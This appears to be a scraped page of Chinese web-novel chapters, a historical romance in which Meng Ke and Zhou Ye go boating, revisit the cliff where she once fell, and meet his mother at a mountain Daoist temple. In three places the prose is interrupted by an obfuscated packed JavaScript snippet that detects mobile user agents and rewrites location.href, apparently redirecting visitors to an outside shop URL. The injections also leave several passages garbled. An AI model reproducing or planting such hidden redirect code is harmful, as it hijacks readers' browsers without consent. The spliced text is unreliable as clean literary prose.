孟珂微微有些惊异，随即想到了什么，犹疑了一瞬，还是点了点头：“公子自便。” 周冶忙登上了马车。 洗墨突然被扔下了，急忙喊道：“公子，你……我……” “你收拾好行李，明日衙门门口会合。”甩下这一句，周冶便掀帘进去了。 *** 等坐定了，他看着孟珂，找补道：“听说这镜月湖春日里草长莺飞，花红柳绿最是好看，等咱们回来的时候，只怕都错过了，故而，想先睹为快。” 孟珂淡淡笑着，意有所指地道：“若错过京城这个夏天的花团锦簇，大人可会遗憾？此两憾两权，周大公子又将如何取舍？” 周冶知道，她说的哪里是什么春色夏花。他就是知道她心有顾虑，这才厚着脸皮跟了上来。他正要开口，就被孟珂打断了。 “其实……”孟珂认真地道，“绥陵春色甚美，错过实在可惜。不如修书一封，称病避开，由我带回京就是。” 周冶忙道：“我不是那个意思……” 孟珂不让他说下去：“自我回绥陵以来，你已经做得够多了。前面的水太浑，沾了公子的衣事小，只怕大浪袭来，卷入者……尸骨无存也说不定。” 见周冶又要开口，她抢道，“便是不为自己想，也得顾一顾家族。世家之中，没有谁可以独善其身。这个道理，公子必定明白。” “我若说，我明白，但我还是选择，”他看向了镜月湖的方向，“放开那湖光春色，就想踏进京城的浑水里，为值得之人，做该做之事呢？” 听到他这几乎明示的话，孟珂心中不是没有动容，可大事当前，不是感情用事的时候，她必须以理智来面对，也希望周冶做出的是清醒的选择。 孟珂道：“有时候不该问想不想，而要问应不应该。” 周冶打开天窗说亮话，说道：“我做的这些事，是因你，却也不只是因你。我决定淌京城的这摊浑水，是为你，却也不只是为你。你可明白？” 说到此处，他终于坦诚道，“我说怕会遗憾错过绥陵的春色，不过是找个借口跟上，不想你半夜跑路，直接把我甩开而已。” 孟珂抬眼看他，对上他坚定又真诚的目光，罕见地躲开了。 两人此后一路无语，马车内的空气也都凝滞了。 一前一后进了熹园。周冶没话找话，问出他早就好奇的事：“你儿时便是住烟雨斋么？” 孟珂闻声脚步顿了顿，才道：“烟雨斋是我让人买过手后新建的，以前没有这个院子。” 周冶明白了，旧时庭院，她不敢住。 说完，她又沉默着往前走去。 自告诉她孙秉来人提案后，她就一直若有所思的样子。不管前方是什么，多紧张的时期，他都希望，她至少能给自己片刻的休息。她不给自己，那就他来。 于是，吃完饭，他不管不顾地拉上她，要她一起去湖上赏夜色。 他没让人跟，自己推了艘小船出来，站在船头，笑着冲她伸出手。 孟珂走上前去，手搭上他的瞬间，只听他道，“将所有思虑都留在岸上，上了船，就是你偷来的片刻喘息，好吗？” 孟珂怔了怔，随即笑了。 以前，她站在湖边的时候，也会对着水面，心中对自己说，一切都留在岸上，下了水，就是她遨游其间，什么都不用管的时候。只当自己是一条没有记忆，没有任何想法的鱼儿。 她就像借了一个身份，也借来了一方天地，获得只属于当时当刻的自由与快乐。 而那样的自由与快乐，她已经太久没有过了。 谁想，今夜，竟有这样一个人，恰在此地，提出这样一个要求。 恰如神灵现世一般。 孟珂抬眼看去，只见满湖星光之下，一双比星光还亮的眸子对她闪耀着，深深地看着她。 她笑着，对他缓缓点了点头。 她没有障碍地接受了这个提议，周冶还意外了一下。不过怔了片刻，看着她脸上那会心的笑容，浑身顿时一轻的样子，他也会心地笑了。 *** 周冶将船慢慢划离堤岸，孟珂坐在他对面，仰头望着天。 只见星稀月明，彩云缭绕月亮一周，如一朵不断变换形态的轻纱帷帽。 落在湖里，便有一明一暗两个。 她时而抬头望望，时而低头看看，闻着湖上的气息，听着船桨带起的水声，浑身都舒爽了。 她深吸了一口气，躺了下去，将手交叠在脑后，闭上了眼睛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999222|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周冶正要开口，便听她闭眼问：“你可听过，人在水中的时候，跟在母亲肚子里的时候最像。” “这你可难到我了，”周冶笑道，“一个不会游水的人，一个根本不可能记得母亲肚子里什么样的人，如何能知道？” 孟珂闭着眼笑道：“那下一个问题，更是难为你了。” “你说说看。” 孟珂睁眼看着夜空，笑道：“我儿时便常常会想，人为何是在地上生活的？明明在水中的时候，可与水融为一体，就像鸟飞于空，在那看不见的风里，想去哪里就去哪里，那才是真正的自由。” 说着，微微叹了口气，“哪像在地面，必须得踩着实地，去不了高空；还去哪儿都只能一步步慢慢走，远不如水中哪里都去得，还来得更快，更省力。” 听她说着，他从未有过的体验，自然也无从得到的新鲜想法，周冶羡慕道：“你说得，我都想学游水了。” “你一定得学。”孟珂转眸去看他，“若没有体会过这种感觉，可算是人生一大遗憾。” “那你教我？”周冶看着她道。 孟珂含笑点了点头，脱口道：“好，我教你。” 看着她脸上轻松的笑意，仿若变了个人似的。周冶手上不自觉停了，贪恋地看了半晌，认真道：“说定了，可不许反悔。” 孟珂顿了顿，嗯了一声道：“定了。不反悔。” 只要她还有命在，当必践此诺。 船儿慢慢划到了开阔处，周冶放下船桨，坐到她身边，也躺了下来。 周冶突然想起了什么，心中生出了些酸涩：“你……和卢宽那几年四处游走的时候，也是这般？” 他品出自己那隐含的些许嫉妒，找补了一句，“我那时怎么没想到，也找个人，伴着。” 孟珂是多敏锐的人，听懂了，却也只装傻道：“你这么说，让侍剑他们情何以堪？” 周冶笑了，看了看周遭，笑道：“不一样的，男人一起赏景，兄弟间玩闹，终究是不一样的。” 同心仪之人，可是大不一样。 “那下次你也找一个。” 周冶转头看她：“我也这么想。” 两人就这么有一搭没一搭地聊着，孟珂突然想起了什么，带着些又甜又酸的味道，笑了。 周冶奇怪地看她。 她缓缓地吐出一口气，说道：“小时候，父亲亲手给我做了一艘小船，不大，一看就是孩子才能坐的。船很小，很轻，我一个人就能把船推出来，划到湖上，像这样躺在里面，任船儿随水飘荡。” “我就这么静静躺在船里，看着天上的云发呆，就像现在一样。” “那时候，我可喜欢看云了。看着它们每天都不一样的色彩，看它们时刻都不同的步调，有时慢得如耄耋老翁，有时被风赶着，像活泼少年，还一会儿一个模样……我一躺，就能躺到忘记时辰。” “每天的云都是不一样的，每日的风雨日月，鸟鸣虫唱，也都是不一样的。” “有时不小心睡着了，等醒来的时候，就一头扎进水里，游上一圈，然后湿哒哒地上船，划着回家。有时懒得划船，便在水里游着，推着、拖着小船回去。” 说着说着，她的笑容不自觉掺入了几缕悲伤，“一不小心，这些东西，我竟都忘了。” 不是真的忘了，是她在那一夜之后，自动便将明丽的记忆全都扫到了犄角旮旯里。怕它们一旦放出，会刺破那一夜的黑，会对不起那一夜失去的人，会动摇那一夜的自己。 可这一夜，重新躺在小舟之中，什么都不去想的时候，它们竟这般猝不及防地，自己就冒出来了。而它们的喷涌而出，让她心头很软，让她两眼润湿。 周冶见她说着说着就没了声音，以为她睡着了，侧过身去看她，却见她一双眼睛明亮，闪着盈盈泪光。 他不自觉伸出手去，想替她擦擦。 就在要触到她肌肤的一瞬，孟珂觉着了，突地转过脸来，两人顿时四目相对，呼吸可闻。 这近在咫尺的对视之中，交缠的温热气息之中，仿佛有什么魔力，将二人拉拽着，一点点不自觉地靠近。 温热润湿的唇，凑到最近的时候，体内一股压抑已久的冲动，就如奔涌的浪潮，瞬间冲破了强行筑就的堤坝，一发不可收拾。 126. 记忆 灯下，回雪给孟珂梳头。孟珂看着镜中的自己，迟疑了一下，问道：“回雪，你说，心悦一个人是什么样的感觉？” “不一样吧？”回雪想了想，笑道，“每个人的感觉，兴许都不一样吧。” 孟珂点头：“是啊。” 有人说是砰然而动，有人说如天光乍开。 于她而言，是雪夜对酒之时，转头看着他的一瞬，莫名涌起的一股想要将他拥入怀中的冲动。 是要见那个人的时候，即便一向以美貌自信的人，也要再看一眼镜中的自己，生怕哪里有一丝不妥的些许紧张。 也是看他哪里都只觉得造化之妙，怎能哪里都喜欢的神奇之感。 “小姐？”回雪见她怔怔的，唤了唤她。 孟珂回过神来，打岔道：“可都收拾妥帖了？” 回雪点头应道：“明日随时可以出发。” 孟珂知道回雪向来麻利，说走就走，一夜功夫便已收拾停当，属实是个好帮手。 第二日一早，霍茹蕙出得大牢，上囚车的时候，见孟珂和周冶都站在一旁。她冲二人一笑，目光落定在了孟珂的脸上，带着明显的得意：“妹妹，我的底牌，这回你可看清了？” “姐姐莫高兴得太早！”孟珂笑道，“你的底牌亮了，我可还没亮呢。” 牢里如今让周冶管得滴水不漏，霍茹蕙不是在牢里做的手脚，要做也来不及。她必定早就求了援。 霍茹蕙坐上囚车，在那里，竟也坐出了一副仿若在舞台上献艺的模样，依然为得了众人注目而自得。 有些人便如藤蔓，看着无法自立，却硬是能找到攀援之路，甚至一步步登高，让人不得不生出些奇异的佩服。 囚车远去，孟珂一行人也出发。 熹园和衙门各预备了一辆马车，但周冶直接上了孟珂的马车，雨歇和回雪自觉上了后一辆马车，去同跟洗墨大眼瞪小眼了。 途径云鬓山，路过当初偶遇的半山亭。 其时，白雪皑皑，天地一片苍茫寂静。而今，春意盎然，从崖边看出去，满山苍翠，一派生机。 两人不由都看向了外面，一时感慨油然而起，转眸互看一眼，都笑了。 周冶笑着调侃起自己道：“这一路可不敢再逞能救美，还要小姐美救英雄。” 孟珂让他说笑了，只道：“那时不过是京里不好动手，那些人才一路跟出来，想找机会抓了我，从我这儿打开个口子，兴许能做点文章。可现如今战场在京中，也就没人来搭理我这个小卒子了。” “小姐可不是小卒。”周冶却也不多言。 两人都知道，这个案子已成朝中之人的筏子。 孟珂几不可察地长长吸了一口气，想起前夜站在水边的一幕，对自己道，明日之事，待明日再烦，于是闭上了眼养神。 周冶见了，悄声叫车夫慢下来，走稳些。 *** 见前车慢了，后车也跟着慢了。回雪疑惑道：“本来就走得迟，还不全力赶路，今日赶回京得多晚了。” 洗墨道：“今日横竖是到不了的，又何必急于一时？姐姐不用担心，我家公子都安排好了，咱们在京郊住一夜，明日再入城。” 回雪和雨歇互看一眼，不知平白耽误这一夜是何故，可此事也由不得她们做主，待要打听，就见洗墨笑着看外面，问她们道：“当日我家公子便是在此处救了你家小姐？” “救？”雨歇哼了一声，“是你家公子平白跳出来，坏了我们的事！” “不知者不罪，我家公子本是好意不是？”洗墨陪着笑脸，指着崖边一棵歪脖子松树，喜道，“就是那棵！对不对？” 雨歇瞟了一眼，还真是那棵，惊异地看了洗墨一眼：“你又不在，如何知道是哪棵？” 想起那日周冶披着蓑衣，侍剑那个傻子抱剑立在身后的样子，不由又笑了。 “我是不在，可我家公……”洗墨不好出卖说是公子画上看到的，硬生生转口道，“侍剑，侍剑他告诉我的。” “他？”雨歇嗤笑道，“他什么时候也这么嘴碎了！” 洗墨意味深长地笑道：“不过是在姑娘你面前张不开嘴罢了！但凡你别那么凶，他就敢张嘴了，不信你试试？” “我让你胡说！”雨歇抬手便要打，让回雪制止了。 “谢谢回雪姐姐！”洗墨感激地笑道，“可惜涤砚要留守，不能跟咱们一块儿回京。不然，这一路还能更有意思点。” 雨歇作势又要打他：“我看你是不挨顿打是不会老实了，不是调笑我，就是调笑我姐姐！” “姐姐！回雪姐姐救我！”洗墨抱着头躲着大叫，躲过一劫，喘过气来，看着姐妹二人，一般模样却是两般性格，也是有趣。 如今倒不会混淆了，可一开始不知道有姐妹二人，倒搞了好大一个乌龙。尤其侍剑被搞得懵了许久，一会儿雨歇跟他闹，一会儿回雪对着他若无其事，“你有病吧”的样子，差点没让他抠破脑袋。 而涤砚以为回雪与侍剑有情，连话都不敢与她多说一句。两段大好姻缘，眼看就要被耽误，总算是及时搞清了状况。可偏偏这涤砚是个不吱声，成日只知埋头做事的；碰巧这回雪也是个一心只想着小姐的，倒惹得他在一旁替两人干着急上了。 后车里三人吵吵闹闹之时，孟珂那一闭眼，不自觉竟迷迷糊糊了过去。等她再醒来的时候，发现马车已经停了。 她掀开车帘看出去，当即便愣了——这正是她当日坠崖的地方。 *** 周冶站在车下，感觉到背后的视线，回身朝她走来：“你后来，可有再来过此地？” 孟珂摇了摇头，带着一丝凄惶的笑——噩梦中倒是来过无数回了，在此逡巡数年，从不曾真正离去。 从这里跌落之时，明明是清晨。可在她的噩梦中，这里却总是暗夜。 她总是一次次从崖上踩空，猝不及防地跌落，一路奋力去抱崖上的树枝，却总在触手可及的地方错过，有几次明明都抱到了，却还是不支，重又跌落下去。 她总是从崖下一步步往上攀爬，浑身湿透了，哆嗦着，又冷又怕，捡了根树枝，扫开面前的荆棘，赶走草丛中的蛇虫鼠蚁，一步步往前，有时是走，有时是手脚并用地爬，爬上几步，又滑落几步…… 每当她抬头望去，头顶的山崖上、树丛上，横七竖八地挂满了尸体，甚至残肢…… 不时惊飞的鸟雀，扑腾起阵阵血腥味，那仍带着温热的血，滴滴下落…… 地狱，大概也不过如此吧。 “下来看看，”周冶打断了她的思绪，轻声问道，“可好？” 孟珂没动，也没说话。 “别怕！”周冶向她伸出手去，“有我在。” 孟珂朝他笑了笑，是啊，有什么可怕的，没有盗匪了，也没有尸体了。即便有，她也能面对了。她暗暗吸了一口气，将手递向了他。 那温暖厚实的手掌覆在她手上，感受着其间传来温热的力量，她心里涌起一股暖流，破天荒地有一种冲动，想脱掉满身铠甲，卸下所有的力量，就像漂浮在水面一样，将自己交给水，被它满满承托，哪怕只那么一刻。 这奇异的冲动把她自己都惊了，心内笑了笑，提起一口气，下了马车。 手中不再是那磨破手掌的树枝，而是一只带着他往前走的手，她手上不自觉用了些力。虽只那么细微的变化，周冶还是敏锐地抓住了，于是，将她的手握得又紧了些。 孟珂一步步跟着他，往前走了一段，原本有些迟滞的脚步变得干脆利落，径直走到了他前头，拉着他，一直走到崖边，才止了步。 恰此时，一阵清风吹来，轻轻地拂开她如水的秀发。 前方崖边一片不知名的野草映入眼帘，其间间杂的嫩黄色小花，随风摇摆，煞是好看。阳光温煦，山风清新，满目苍翠。 耳边传来轻轻一声：“这里可是你记忆中的样子？” 山风一吹，声音飘远了些，又远又近的样子。 孟珂轻轻摇了摇头。 全然不是她梦中的样子，甚至也不是她记忆中的样子。 她又往前走了几步，走进那半人高的草，抬手摸着它们，仿佛在确认那是真的草木，而非梦境。 当年，那个稚气的她独自面对了那一切，还坚强地活了下来，但她并没有真正走出这里。 黑暗无法被驱散，但只要点一盏灯，黑暗便消散了。 周冶望向崖下：“你知道这地方叫什么？” 孟珂仍痴痴地望着那与记忆中迥然不同的地貌，缓缓摇了摇头。 “这里叫舍身崖。” 孟珂飞快地转头看他：“你怎么知道？不是你顺口胡诌的吧？” “真的，”周冶走上前去，“这当地山民告诉我的。” “你怎会到这里来？”孟珂奇怪道。 时过境迁，在有了更新更近的官道之后，这条老路已经没多少人走了，周冶这是特意绕路而来的。 “没事干，四处游山玩水。”周冶这次真的随口胡诌了一句。 他放眼望去，指点着崖下风光，认真道，“下面的景致委实不错，咱们今日只能在此歇脚看看，等下次有时间了，我带你重新走一次。你一定有不同的感受。” 孟珂顺着他的手看去，是啊，景致似乎真的不错。 噩梦中的山崖，原来只存在于噩梦中而已。崖下的地方，大概也不是记忆中的那样。自今日起，再梦到这里，会有这吹面不寒的清风，随风摇曳的野花吧？ 想到此，孟珂感激地看着他，明白他是想让自己重新看看这个地方，洗刷掉那些恐惧的、扭曲的旧忆，以新的、明亮的取而代之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999223|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她想说谢谢，又咽了下去，只缓慢而用力地点了点头，说了个“好”。 *** “咱们也下去走走看看。”后车里，雨歇强拉着回雪，就要下车。 “你们去吧，我可不想再去了。”洗墨自作多情地拒绝道。 说罢，他往后一靠，倒在了没人争抢的软垫上，伸直胳膊腿，舒服地啧了一声，又忍不住抱怨道，“上次陪公子来，可把我累坏了！” “你们上这儿来干嘛？”雨歇奇怪地回头看他，小声嘀咕了一句，“没事干瞎抽风么！” “可不！”洗墨却听见了，哼笑一声，换了个舒服的姿势，“公子也不知抽的什么风，非要一步步亲自走一遍这条路。喏，就这片山，这山崖，还有下面那河滩，一步步亲自走！要不是后来下了雨，还非要在这野外夜宿呢……” 说着说着，传来雨歇已经远去的笑声，洗墨这才没趣地住了嘴，“哎”一声，歇着了。 车下，雨歇往崖边两人怒了努嘴，偷笑道：“姐姐你瞧！咱们小姐同周大人这样站在一起，是不是一对壁人！” 回雪却只笑了笑。 雨歇自顾自地继续道，“以前吧，我一点都不想咱们小姐嫁出去。毕竟，去个陌生的府里，连小姐都要谨言慎行，咱们的日子就更别说了。那时候我就想，小姐顶好是嫁给二公子，那咱们这辈子都不必挪窝了。不过，现在看嘛，如果是周大人，好像也不赖。” 大概是山中空气舒爽，让人心旷神怡，连回雪也难得起了玩心，笑道：“你是想小姐嫁呢，还是自己想嫁？” “姐姐！”雨歇害羞道，“明明说的是小姐的事。” 回雪看向孟珂，笑意中顿时带上了敬服，还有些心疼与怜惜：“咱们小姐，可不想什么成不成亲的事。” “真的？”雨歇过去倒从未关心过这一点，一时听来竟有些诧异，随着姐姐的目光看过去，对着孟珂的身影奇怪地道，“我怎么不知道！” 回雪笑了：“你连你自己都搞不明白呢。” 雨歇自己也笑了。 回雪点点头：“小姐曾说，人若想找依靠，说到底都是一场豪赌。是赌，当然就有赢的可能，但输的可能更大。” “这怎么是赌呢？”雨歇不太明白。 回雪道：“因为最后会发现，真正可依靠的，还是只有自己，反而找来了几个一辈子甩不掉的包袱。而这一赌，输掉的却是自己再也回不来的本钱。” 她转头看向雨歇，“为了初时有、随时无的些许慰藉，为了那镜花水月的依靠，那最终总会落空的期待，不如守住自己已经有的，将本钱都放在自己手里，成为自己的依靠和慰藉。” 雨歇不太明白：“连小姐这样聪慧的人，也是赌么？” “我也这么问过。”回雪笑道，“小姐说，在这件事上，努力比不上运气，聪慧能干也敌不过运气。因为这件事，说到底没得选。父母没得选，子女没得选，夫君……以为有得选，其实最后发现，一样也没得选。” “那运气好的，天生就有好父母兜底，又有好夫君托付，好子女接手，一生无虞。运气不好的，从父母到夫君、子女，全是讨债的。” 雨歇让姐姐说得心口有些堵堵的：“有这么惨吗？会不会太悲观了些？别人咱们不提，咱们小姐不至于吧？” “这不是悲观，”回雪看着她，认真地道，“这是现实。” 她不由想起孟珂同她说话时候，脸上那凄凉的笑，“人生在世，行路多难。一个人已经很累了，不成为别人的负累已经很不容易了，又哪里还有力气去承担别人？我，只是个弱女子。” 而听小姐说弱女子三字，再也没那么悲凉。回雪看向孟珂的身影，“别人说弱女子，那是真弱。而小姐她，是再强，也还是弱。” 因而便更加苍凉。 *** 崖边两人感觉到身后的目光，突地齐齐回过头来。 雨歇反应快，朝他们挥了挥手，大步走过去，高声问道：“咱们今夜住哪？” 回雪忙拦道：“你个急性子，且听主子们安排。” 周冶笑道：“咱们赶半日的路，今夜就住京郊飞来峰的逍遥观。明日再赶半日的路，轻轻松松进城。” “飞来峰，逍遥观。”雨歇奇怪地道，“为何去那里，住官驿不是更方便？” 孟珂也还是头一次听说此处，转头看向了周冶。 周冶边想理由边道：“那里离官道本就不远，不耽误时候。且我与那里的观主相熟，吃食、客房都比驿站强上不少，景致也是极好的，必定不虚此行。” 最后故弄玄虚地道，“去了你就知道了。” 日落之时，他们果然赶到了飞来峰下。此山离官道是不算太远，顺着一条堪堪可行马车的土路，绕过几个弯，便赫然落于眼前。 127. 道姑 一行人掀帘的掀帘，勒马的勒马，手搭凉棚看去。只见前方的层峦叠嶂中，端坐着一座青山，其形如钟，巍峨傲岸，白云出岫，缭绕峰腰，颇有些仙山的清气。 “此山名为小钟山，”周冶指着薄暮之下的山峦，向孟珂介绍道，“瞧腰际那一座，便是飞来峰，传说是一夜之间突然飞来的，逍遥观便在那飞来峰上。” 孟珂正自感叹，世间最难得逍遥二字，可不就是得天外飞来，便见一个十三四岁的小道姑远远地从前方林间的石阶上走来。她惊异地看向周冶，听他说与观主相熟，怎么也没想到这里竟会是一座女道观！ 周冶仍是略带神秘地笑笑，也不多言。 望山跑死马，一行人又行了一会儿，才停车下马。 那小道姑显然认得周冶，冲他一礼道：“真人让我前来迎客，不想客竟先到了。” 说着，便领着一行人进山。 山旁一条小涧，众人在水声薄雾中拾级而上，不多时，便见前方矗立着一座有些岁月的石牌坊，上书逍遥观三个大字，字体极清俊恣意。 孟珂抬眼望去，前方的密林中，道观的重檐屋角已依稀可见。 这道观依山傍水而建，占地倒不算大，层层院落一级级上攀，与山林融为一体。前方还有一重接一重的台阶，只得拾阶而上，才能依次窥见那重重楼阁的真身。 又走了一会儿，众人都微微有些喘，但山间清气浓郁，由此吐出浊气，纳入清气，脚下虽越走越重，身上却渐渐发热，觉身轻气爽了些。 夕阳伴着他们的脚步徐徐下落，给山林道观染上了一层薄金。 那金光之下的道观，也一点点露出了真身。最后几段台阶尤其陡峭，众人埋头苦走，一直走到石阶顶上，骤然见门口台阶之上，高高站着个道姑，头顶金累丝镶宝石莲花冠，脚踏云霞履，手执一柄拂尘，在夕阳金光之下，袂随风动，仙逸出尘，恍若神仙妃子。 众人一时都呆住了一瞬，差点以为见了仙人临凡。 孟珂也怔了怔，不想在离京城这样近的地方，竟有这么个风水宝地，能得见此等妙人；赞叹之余，心中更疑惑了，此观是何观，此人是何人？ 那道姑生得本就高挑，又极纤瘦，一身白衣挂在身上飘飘荡荡，真真若仙人无骨。孟珂看着，她约莫三四十岁模样，肤如凝脂，面若桃花，便是在京中富贵人家里，也少见此等肌肤。 众人一时都愣在那里，洗墨已经快步上前一拜，恭敬地朗声叫道：“夫人！” 孟珂惊得去看周冶，正好见他转头冲自己笑着眨了一下眼，示意没关系。他也转头对那女道一拜，叫了声：“母亲！” 这竟是他母亲，还真是相熟啊！孟珂腹诽着，连忙跟着下拜道：“小女孟珂，见过柳夫人！” “快快请起。”柳夫人挂着一抹浅笑，对众人行了个道姑之礼。 见孟珂抬起头来，柳夫人看了她一眼，目光倒也未多做停留，仍含着似有若无的浅笑，道：“冶儿，这便是你与我提过的那位孟小姐。” 孟珂惊得又去看他，见他面带微笑，颔首默应。 还是柳夫人道：“小姐莫怪，冶儿早前同我提起你，我觉得甚感有缘，便说想见见你。瞧这样子，他并未提前与你说。这是他之过，定让他向你赔礼。” 孟珂知道是他母亲，便已了然，难怪他一路故作神秘，知道若说了，她便不来了。 “得游仙山，”孟珂在这地界，也不好拘于俗礼，道，“是晚辈之幸。” 柳夫人也不多话，对周冶道：“快别站在此处吹风了，你们赶了一日的路，想必也都累了，早些下去用饭歇息吧。” 说罢，吩咐小道姑带他们去休整，便自去了。 孟珂看着她一去不打算回的身影，回头对着周冶笑道：“你母亲果真仙风道骨，母子难得一见，也不拉着你多看看，多聊聊，这就把你撇下了。” 周冶道：“母亲她在此清修已十余年，虽不是什么世外高人，却也没什么尘世执念了。见了自是欢喜，可并不会因为多见一面、少见一面，多说一句、少说一句而有多大不同。日落而息，本是她的习惯，不会因为我们来了便打破。” 孟珂笑了，这倒是暗合自己惯来的心境。 周冶见她兀自笑着，奇道：“你笑什么？” “没什么。”孟珂轻轻摇了摇头，看向四周，倒觉得在回京之前，能有这么一夜喘息，也挺好。 *** 小道姑带着众人下去换衣、用饭不提，却说卢宽这天回府，在府门口碰到了大哥卢晫（zhuó），兄弟俩一道进府。 一进正堂院子，见红荔等在廊下，他的眼睛登时亮了，脚下不自觉加快了脚步，把大哥撇在后面，兴冲冲地道：“父亲才说，估摸着阿珂这两日便要回来，没想到这就到了！” “怎么也不提前送个信，让府里先准备准备？”他问着红荔，头已经往屋内四处探看，却并不见孟珂人，奇怪地转头又问，“小姐呢？” 他一句接一句的，红荔都没来得及开口，这才得空回话：“小姐明日才到呢，我先行一步，特回府向公子回禀。” 卢宽脸上的高兴顿时散了大半，点头道：“也是，你先回来准备准备。那你赶紧吩咐下去，明日一早便要将小姐的院子打扫出来，一应用度都要在小姐到之前备好。我还有好些东西要给她，” 他回头嘱咐青汝，“你一并叫人拿了去，让她回来就能看见。” 红荔和青汝得了令，一起退下。卢晫走上前来，笑他道：“瞧你这样子！多大人了，还什么都写在脸上。” 卢宽不乐意地瞟了他一眼，不服气道：“在大哥面前，也要端着你和父亲那张不动如山的脸？在家里绷给谁看啊？瞧瞧你和父亲，绷得皮都僵了！你俩不嫌累，我都替你们累！” “我就多余说！”卢晫好笑地摇着头举着手，认输道，“一句话惹出你一串牢骚来！倒还让批上我和父亲了！” 说罢，转头走了。 卢晫比他要大七八岁，自孟珂入府的时候，就已经跟在父亲身边做事了，于她和卢宽来说，倒不似兄长，更如长辈。不过，在卢宽这里，就算是真长辈也没多大顾忌，他最顾忌的唯有那位妹妹而已。 看着大哥走远，他不由想起红荔方才所说，脸上又更低落了些，自言自语地琢磨道：“明明今夜便可回来，为何要歇上一夜？” 如此想着，他一声呼哨，暗卫随即闪身而出，他沉声道，“去查查小钟山的逍遥观。” *** 春日已末，山风微凉，却也夹杂着蓬勃生机。孟珂难得上一次山，贪恋地在院子里吹了吹山风，看了看萤火虫，顺便在亭子里坐下，看起了这日的信。 “山间夜风冷，怎么还在外头坐。” 听得身后一个声音，她转头看周冶朝她走来，“观中生活清简，比不得京城，可有什么短的？被褥可够厚？” 一句话问得一旁的雨歇噗嗤笑了，故意声音不大不小地冲回雪道：“没想到，周大公子这样的人，竟也会照顾人。” 回雪替她告了个饶，一把将她拽开去，走到亭外去候着。 孟珂笑笑：“雨歇是个皮的，周大公子莫要与他计较。” “有个皮的好，你也能多笑笑。”周冶在一旁坐了下来，“方才看你提笔，要写不写的，可有什么踌躇的？” 孟珂将手中之信收了收，笑笑：“也没什么，就是二哥哥的信。明日便到了，不回也罢。” “一许兄，倒是个妙人。”说起卢宽，周冶颇有深意地道。 “对了，没听你说过卢家大哥，你们如何，也这般亲吗？” 想起他们，孟珂心头便一暖，脸上难得地泛起些温情。她含笑道：“同晫哥哥相处的时间没那么多，多少要远些。我入府的时候他已经成亲了，又新婚燕尔的，同嫂嫂如胶似漆。我们两个半大孩子，同他自然是玩不到一块去的。况且，晫哥哥他向来稳重端方，雅正清直，像他们父亲，不像二哥哥。” 说起卢宽，她便忍不住笑，“他那性子据说是谁也不像，生得美，更爱美，要我说，倒该生成个姐姐！” “倒也未必是生来如此，”周冶换了个姿势，笑道，“一个家里头，弟弟总是要机灵活泛些。大哥嘛，不论什么性子，人前总要绷着些，大都要端着个如父如兄的架子。” 这突然提醒了孟珂什么。她抬起眼，上下左右地打量了周冶一遍，奇怪道：“你不也是大公子，瞧着可没那份如父如兄的劲儿。” 周冶笑了：“我在小姐面前绷那个劲儿干嘛？在该端的人面前，我还是很端肃严整，不苟言笑的。” “你？不苟言笑？”孟珂一想象他不苟言笑的样子，就忍不住笑起来。他这人懒散有余，骚包有余，何时严厉板正过。 周冶垂眸笑笑，故意撩了撩鬓发：“在京中那些老东西面前，我可是少年老成之人。” 孟珂乍一听不信，可经他这么一说，却也突然回过些味来。他这人，初见就给她一种虽故作浮浪，却让人怎么也看不透的样子。 他就是有种一切皆有可能的样子。如水一般，放入什么样的器物，便能成什么样子；注入花青便是花青，加入藤黄，便能生成新绿；可他并未曾改变分毫，他还是那个他，只是呈现不同罢了。 是了，他大概真是有那一面的，只是，在远离京城的绥陵，在她面前，不需要呈现那一面罢了。 可他为何是这样的人？她扫了扫眼前这道观，是因为母亲早早就离家避世？诺大的周府中，他其实也是独自谋生存之人？ 周家夫妇的事在京中并没有传开。凡有大事， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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也许，到了柳夫人的年纪，经历足够多，她也会将平淡安宁视作唯一的、真正的幸福。只是，现如今的她，经历还不够多，好像还需要一点欲求，一些渴望，一些激荡，来证明自己还活着，还有些人气。 孟珂长长地吐出一口气，道：“我瞧她是极通透聪慧之人，走这一步，必定也是因为没有更好的选择了。” 周冶点点头：“她的想法近些年慢慢变了些，可就当时来说，确乎没有更好的选择了。” *** 说到这儿，周冶深深地看了她一眼，犹疑了一下，才又说道：“看他们那样，我就想，我这辈子都不要成亲。” 孟珂闻言惊异地转头去看他，难道是前夜船上那一刻的放肆，让他觉得必须该说些什么，做些什么？ 但她更多的还是惊异，像他这样要家世有家世，要能耐有能耐，又是大多女子一见即会倾心的人，如今还未成婚，自是有缘由。只是，她没想到，他的想法竟是如此惊世骇俗。 周冶没看她，也不知是看着墨染的山峦，还是远方的夜空，自言自语似地道，“母亲郑重地告诉我，若是不能负责，便不要去招惹女子。” 说到这儿，他转头看了孟珂一眼——尤其是像她这样的人。她经受的苦难已经够多了。在确定自己能负责之前，更不该去乱她的心志。故而，他在好长时间里，什么也不敢说，什么也不敢做。 “因为我……害怕。我怕有个女子会变成母亲那样，怕有个孩子……” 他垂下眼眸，讥嘲地笑笑，“像我那样。” 